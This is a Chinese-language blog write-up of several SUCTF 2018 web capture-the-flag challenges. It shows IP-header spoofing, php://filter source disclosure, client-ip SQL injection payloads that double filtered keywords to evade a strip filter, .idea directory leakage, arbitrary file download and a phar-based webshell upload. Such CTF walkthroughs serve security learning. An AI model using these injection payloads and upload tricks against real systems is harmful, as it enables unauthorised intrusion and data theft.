title: suctf-部分web题WP
date: 2018-11-14 09:57:29
tags: [WP,ctf]
web1-where are you from level1
题目:where are you from?
打开网址我们可以看到只有ip为127.0.0.1才能拿到flag
only guest from 127.0.0.1 can get flag of level1
我们可以伪造ip,伪造ip的方法有XFF,x-client-ip。。。。。
Client-Ip: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Host: 127.0.0.1
Referer: www.google.com
mark
SUCTF{X_F0rw4rd3d_F0r_7O_cHe4t_5eV3r}
web2-include me
题目:index!index!index!
看题目就可以知道这道题是文件包含include,我们用php://filter:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输,我们把index文件包含进来,然后得到base64加密后的源码
http://49.4.68.67:88/?lang=php://filter/read=convert.base64-encode/resource=index.php
把base64加密后的源码进行解密,从源码中得到flag
#base64加密后的数据
PD9waHANCmlmKGlzc2V0KCRfR0VUWyJsYW5nIl0pKXsgIA0KICAgICRsYW5nPSRfR0VUWyJsYW5nIl07ICANCn1lbHNleyAgDQogICAgJGxhbmc9ImNuLnBocCI7ICANCn0gIA0KPz4gDQo8Zm9ybT4gIA0KPHNlbGVjdCBzdHlsZT0id2lkdGg6NjBweDsiIG5hbWU9ImxhbmciPiAgDQo8b3B0aW9uIHZhbHVlPSJjbi5waHAiPD9waHAgZWNobyAkbGFuZz09ImNuLnBocCI/InNlbGVjdGVkIjoiIjs/Pj5DaGluZXNlPC9vcHRpb24+ICANCjxvcHRpb24gdmFsdWU9ImVuLnBocCI8P3BocCBlY2hvICRsYW5nPT0iZW4ucGhwIj8ic2VsZWN0ZWQiOiIiOz8+PkVuZ2xpc2g8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9ImtyLnBocCI8P3BocCBlY2hvICRsYW5nPT0ia3IucGhwIj8ic2VsZWN0ZWQiOiIiOz8+Pg0KS29yZWFuPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJqcC5waHAiPD9waHAgZWNobyAkbGFuZz09ImpwLnBocCI/InNlbGVjdGVkIjoiIjs/Pj5KYXBhbmVzZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iZGUucGhwIjw/cGhwIGVjaG8gJGxhbmc9PSJkZS5waHAiPyJzZWxlY3RlZCI6IiI7Pz4+R2VybWFuPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJmci5waHAiPD9waHAgZWNobyAkbGFuZz09ImZyLnBocCI/InNlbGVjdGVkIjoiIjs/Pj5GcmVuY2g8L29wdGlvbj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJjaGFuZ2UgbGFuZ3VhZ2UiPiAgDQo8L2Zvcm0+IA0KPD9waHANCiRmbGFnPSJTVUNURntoYV9oYV9oYV95b3Vfd2lufSI7DQoJaW5jbHVkZSAkbGFuZzsNCj8+DQoNCg==
#base64解密后的数据
<?php
if(isset($_GET["lang"])){
$lang=$_GET["lang"];
}else{
$lang="cn.php";
}
?>
<form>
<select style="width:60px;" name="lang">
<option value="cn.php"<?php echo $lang=="cn.php"?"selected":"";?>>Chinese</option>
<option value="en.php"<?php echo $lang=="en.php"?"selected":"";?>>English</option>
<option value="kr.php"<?php echo $lang=="kr.php"?"selected":"";?>>
Korean</option>
<option value="jp.php"<?php echo $lang=="jp.php"?"selected":"";?>>Japanese</option>
<option value="de.php"<?php echo $lang=="de.php"?"selected":"";?>>German</option>
<option value="fr.php"<?php echo $lang=="fr.php"?"selected":"";?>>French</option>
<input type="submit" value="change language">
</form>
<?php
$flag="SUCTF{ha_ha_ha_you_win}";
include $lang;
?>
mark
web3-where are you from level2
题目:where are you from? this is level2,try to find vul.
这个题还是先构造了client-ip之后发现只有leave1的flag,但是我们拿到了源码
mark我们分析一下该题的源码
<?php
function getIp(){
if(!empty($_SERVER['HTTP_CLIENT_IP'])){
$cip=$_SERVER['HTTP_CLIENT_IP'];
}
elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
$cip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif(!empty($_SERVER['REMOTE_ADDR'])){
$cip=$_SERVER['REMOTE_ADDR'];
}
else{
$cip='';
}
$cip=preg_replace('/\s|select|from|limit|union|join/iU','',$cip);
return $cip;
}
$query=$mysqli->query("insert into ip_records(ip,time) values ('$ip','$time')");
client-ip注入,而且是加了过滤的注入,过滤是直接把关键字给替换成空,而且也没有循环匹配,所以我们可以用双写来绕过过滤。
client-ip: 127.0.0.1',database())#
我们得到了数据库的名字是demo2
mark然后拿到表名flaaag,ip_records
client-ip: 127.0.0.1',(selselectect/**/group_concat(table_name)/**/frfromom/**/information_schema.tables/**/where/**/table_schema='demo2'))#
然后现在注出来字段名id,fl4g
client-ip: 127.0.0.1',(selselectect/**/group_concat(column_name)/**/frfromom/**/information_schema.columns/**/where/**/table_name='flaaag'))#
然后,嗯,就可以拿到flag了
client-ip: 127.0.0.1',(selselectect/**/fl4g/**/frfromom/**/flaaag))#
[图片上传失败...(image-8309b5-1554278148166)]
web4-onepiece
题目:onepiece是真实存在的
进去之后只有一个界面,用了phpstorm,robots.txt没有
phpstorm,我用了phpstorm
试了一下发现存在文件泄露.idea目录泄露
mark在workspace.xml文档里发现该网站有/index.php /UpL0ad.php还有/README.html
mark看到/UpL0ad.php首先想到是文件上传的题,但是上传了一个文件试了试并没有什么用,然后看看README.html里面是一张图片,而且一个提示,有一个onepiece.zip的压缩包
mark发现一个压缩包,这个题的名字也是onepiece,把压缩包载下来里面是一个php文件,源码是加过密的,同学昨天花钱解的密,我就没有解,源码如下
<?php
error_reporting(0)
header("Content-Type: text/html;charset=utf-8")
$flag = "**********";
if(isset($_POST['file']))
{
$filename = $_POST['file'];
echo $$filename;
}
?>
文件上传界面上传的参数就是file,传过去的存入变量filename,源码中我们知道只要让$$filename=filename=flag,也就是直接传入flag,flag存入$filename,就可以拿到flag
markweb5-yunpan
题目:heiheihei,how to hack this yunpan?
昨天跑了一遍目录就去看电影了,回来接着做
mark#/readme.txt
嘤嘤嘤,我怎么可能直白的把flag.php上传到云盘呢,这下看你怎么拿到flag.php,嘤嘤嘤
# /flag.php
厉害啊,你竟然能找到这里,然而flag在哪里呢,hiahiahia!
#/download.php
Access Forbidden!
小明:你这个大黑阔!就会欺负人,嘤嘤嘤QAQ
但是就没有其他发现了,后来看源码的时候突然注意到我是不是可以直接下载flag.php呢
mark然后我构造了下面这个下载链接,果然,把flag.php载下来了,而且flag就在里面
http://49.4.68.67:90/download.php?file=ZmxhZy5waHA=
mark
mark
web6-gallery
题目:A Simple Gallery. Be careful about tips!
随便上传一个文件抓包发现cookie里有个hint
hint=cGxlYXNlIHJlYWQgcmVjZW50IHBhcGVycyBhYm91dCBwaGFy
#base64解码得到
please read recent papers about phar
既然是phar那可能是远程文件包含了,可是我没有办法知道上传文件的路径,然后扫了一遍目录发现有两个可以正常访问的路径
[11:14:28] 200 - 2KB - /index.php
[11:14:28] 200 - 2KB - /index.php/login/
mark
然后我在/index.php/login/页面看了一下,发现在这个页面上传文件之后可以查看图像,从而知道路径,如下
http://49.4.68.67:86/?act=get&pic=/var/www/html/sandbox/b1fde77fa365ca152d1639208fc19d3c/4a47a0db6e60853dedfcfdf08a5ca249.png
然后发现查看图像这里还可以利用SSRF把index.php源码载下来了
http://49.4.68.67:86/?act=get&pic=/var/www/html/index.php
这里上传图片文件,而且提示我们可以用phar协议(当然zip伪协议,php协议等在做这类题时也是常用的)。然后我们现在写一个php的马,然后压缩成zip,在改为.png的后缀,上传之后访问该图片,利用phar协议包含一句话木马,这里。。。直接访问马就出现了加密过的flag,然后解密
mark最后flag为
SUCTF{phar_s3rial1ze_f4nt4s71C}
就前面两天看了看题,后面就在忙其他的,有些做题记录没有存,而且后面的题就没看,所以只写了这部分
网友评论